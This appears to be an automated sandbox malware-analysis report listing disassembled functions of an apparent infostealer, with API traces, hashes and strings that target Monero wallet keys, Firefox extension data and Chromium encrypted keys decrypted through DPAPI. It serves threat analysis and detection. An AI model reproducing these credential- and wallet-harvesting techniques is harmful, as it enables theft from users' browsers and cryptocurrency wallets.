API String ID: 211194620-0
Opcode ID: 340e67b39c36063f24fba19223921bd4cfc248dd934c1d4bc7cd9fc54adda3dc
Instruction ID: cd3b30ba571eedb09b2129e251222e00f1e522b3856cbbfe500dc664243ef2de
Opcode Fuzzy Hash: 340e67b39c36063f24fba19223921bd4cfc248dd934c1d4bc7cd9fc54adda3dc
Instruction Fuzzy Hash: D2E1DF729101189BCF04FBA4DDAAEEE733DAF14301F508599F516760A1EF306B48DBA6

Function 00C8D500 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

Part of subcall function 00C98CF0: GetSystemTime.KERNEL32(00CA0E1B,0152A068,00CA05B6,?,?,00C813F9,?,0000001A,00CA0E1B,00000000,?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C98D16

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00C8D581
lstrlen.KERNEL32(00000000), ref: 00C8D798
lstrlen.KERNEL32(00000000), ref: 00C8D7AC
DeleteFileA.KERNEL32(00000000), ref: 00C8D82B

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: aecb8d56f886d5257a71c8a0350cd30a7533c7b21daadaeeffe565f049aea879
Instruction ID: 22749bbbbae486333f7a3352f5639a179fc405f9f7738a612aa56ce455bf992b
Opcode Fuzzy Hash: aecb8d56f886d5257a71c8a0350cd30a7533c7b21daadaeeffe565f049aea879
Instruction Fuzzy Hash: BB91EF729101089BCF04FBA4DDAAEEE7339AF54305F504569F51766091EF306B08EBE6

Function 00C8D880 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

Part of subcall function 00C98CF0: GetSystemTime.KERNEL32(00CA0E1B,0152A068,00CA05B6,?,?,00C813F9,?,0000001A,00CA0E1B,00000000,?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C98D16

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00C8D901
lstrlen.KERNEL32(00000000), ref: 00C8DA9F
lstrlen.KERNEL32(00000000), ref: 00C8DAB3
DeleteFileA.KERNEL32(00000000), ref: 00C8DB32

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 91d3c1b8746c7107ca46a8ce804782499403a1c7458b64e8d2f8fa7dcafd0ae0
Instruction ID: 45787511f4f903f1a74402a1450e8a149189ff3295aa1774342150d6b25e9521
Opcode Fuzzy Hash: 91d3c1b8746c7107ca46a8ce804782499403a1c7458b64e8d2f8fa7dcafd0ae0
Instruction Fuzzy Hash: FE81EE729102089BCF04FBA4DCAAEEE7379AF54305F504568F51766091EF306B08EBE6

Function 00CFFED7 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00CFFF9E
___AdjustPointer.LIBCMT ref: 00CFFFC1
___AdjustPointer.LIBCMT ref: 00D0005D

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
Instruction ID: c6ad5a36e38f578d90953e21c635b940af0540d73b3ce44daead2ead3fc7ac56
Opcode Fuzzy Hash: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
Instruction Fuzzy Hash: 0951C27260020AAFEB798F95C841BBA77A4FF01310F24413DEA59975D1E731ED81DBA2

Function 00C8A560 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00C8A664

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Strings

v10, xrefs: 00C8A5C6
@, xrefs: 00C8A614
v20, xrefs: 00C8A571

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: AllocLocallstrcpy
String ID: @$v10$v20
API String ID: 2746078483-278772428
Opcode ID: 2e459ef61943c662edccc3fa8ac96bd6e7d3eafcb5c5905c588f40e3affbc4df
Instruction ID: 429525be7e71dc86d8e5dcc5fd54f0cd3adb3313070db6412caa48dbeee07efa
Opcode Fuzzy Hash: 2e459ef61943c662edccc3fa8ac96bd6e7d3eafcb5c5905c588f40e3affbc4df
Instruction Fuzzy Hash: 52515F70A00208EFDF14EFA4CD96FED77B5AF41348F008118F90A5B691EB70AA45EB95

Function 00C8F5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00C9AAF6

Part of subcall function 00C8A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C8A13C
Part of subcall function 00C8A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C8A161
Part of subcall function 00C8A110: LocalAlloc.KERNEL32(00000040,?), ref: 00C8A181
Part of subcall function 00C8A110: ReadFile.KERNEL32(000000FF,?,00000000,00C8148F,00000000), ref: 00C8A1AA
Part of subcall function 00C8A110: LocalFree.KERNEL32(00C8148F), ref: 00C8A1E0
Part of subcall function 00C8A110: CloseHandle.KERNEL32(000000FF), ref: 00C8A1EA

Part of subcall function 00C98FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00C98FE2

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00CA1678,00CA0D93), ref: 00C8F64C
lstrlen.KERNEL32(00000000), ref: 00C8F66B

Strings

moz-extension+++, xrefs: 00C8F6AD
^userContextId=4294967295, xrefs: 00C8F69C

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 2ec513ea9f651af2a1a79084ea7621bb15edf02a82ad73a16c19b3dd9bfa0047
Instruction ID: cc70797e3a90fb93f1d29052e48a87bdf2a31c9c8e07e0efe55504f7b43a0a1e
Opcode Fuzzy Hash: 2ec513ea9f651af2a1a79084ea7621bb15edf02a82ad73a16c19b3dd9bfa0047
Instruction Fuzzy Hash: 2E511C72D00108ABCF04FBA4DDAADED7379AF54304F408568F81667191EE346B08EBA6

Function 00C937B0 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 0e25c9f8d482e6c5d905c54d692e5e59ea3182b12333b803e3028449cb1417d5
Instruction ID: 227c42f430efd8fabf420b91820e370ea634c094f7877f8286b1899631e06129
Opcode Fuzzy Hash: 0e25c9f8d482e6c5d905c54d692e5e59ea3182b12333b803e3028449cb1417d5
Instruction Fuzzy Hash: C741F871D0420A9BCF04EFE5D859AEEB778AF44304F108029F51676290EB74AB45DFA5

Function 00C8A430 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C8A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C8A13C
Part of subcall function 00C8A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C8A161
Part of subcall function 00C8A110: LocalAlloc.KERNEL32(00000040,?), ref: 00C8A181
Part of subcall function 00C8A110: ReadFile.KERNEL32(000000FF,?,00000000,00C8148F,00000000), ref: 00C8A1AA
Part of subcall function 00C8A110: LocalFree.KERNEL32(00C8148F), ref: 00C8A1E0
Part of subcall function 00C8A110: CloseHandle.KERNEL32(000000FF), ref: 00C8A1EA

Part of subcall function 00C98FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00C98FE2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00C8A489

Part of subcall function 00C8A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C84F3E,00000000,00000000), ref: 00C8A23F
Part of subcall function 00C8A210: LocalAlloc.KERNEL32(00000040,?,?,?,00C84F3E,00000000,?), ref: 00C8A251
Part of subcall function 00C8A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C84F3E,00000000,00000000), ref: 00C8A27A
Part of subcall function 00C8A210: LocalFree.KERNEL32(?,?,?,?,00C84F3E,00000000,?), ref: 00C8A28F

Part of subcall function 00C8A2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00C8A2D4
Part of subcall function 00C8A2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00C8A2F3
Part of subcall function 00C8A2B0: LocalFree.KERNEL32(?), ref: 00C8A323

Strings

"encrypted_key":", xrefs: 00C8A480
DPAPI, xrefs: 00C8A4D9
, xrefs: 00C8A511

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 236f6ee36005130eb622e046f10bb453878a5fed9cfe7e0c83e532c96ca55c57
Instruction ID: fc7e0ddb7dd9fbfa870c4eb49d88c44deb4b9832df8affdfaa6d1c47f54939d8
Opcode Fuzzy Hash: 236f6ee36005130eb622e046f10bb453878a5fed9cfe7e0c83e532c96ca55c57
Instruction Fuzzy Hash: 013161B6D0020DABDF04EFE4DC45AEFB3B8BF59308F044519E915A3241EB349A45CBA6

Function 00C98810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00CA05BF), ref: 00C9885A
Process32First.KERNEL32(?,00000128), ref: 00C9886E
Process32Next.KERNEL32(?,00000128), ref: 00C98883

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

CloseHandle.KERNEL32(?), ref: 00C988F1

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 402fb318df5d50a4463de45d7a685321abd32688e0f4a0376cea8b226604f959
Instruction ID: 00dec317e90729ccb4ff1473ca043fe4332eacbd48961ff7e508d2b331359c57
Opcode Fuzzy Hash: 402fb318df5d50a4463de45d7a685321abd32688e0f4a0376cea8b226604f959
Instruction Fuzzy Hash: 48314871901218ABCF24EF95DD59FEEB778EB45700F1045A9F10AA61A0DB306B48DFA1

Function 00CFFDF7 Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00CFFE13
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00CFFE2C

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
Instruction ID: 6b2cd6d0d470a14ecbbf802e646ed0390a67bf55acf9bbd76c88f9bb91551ecd
Opcode Fuzzy Hash: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
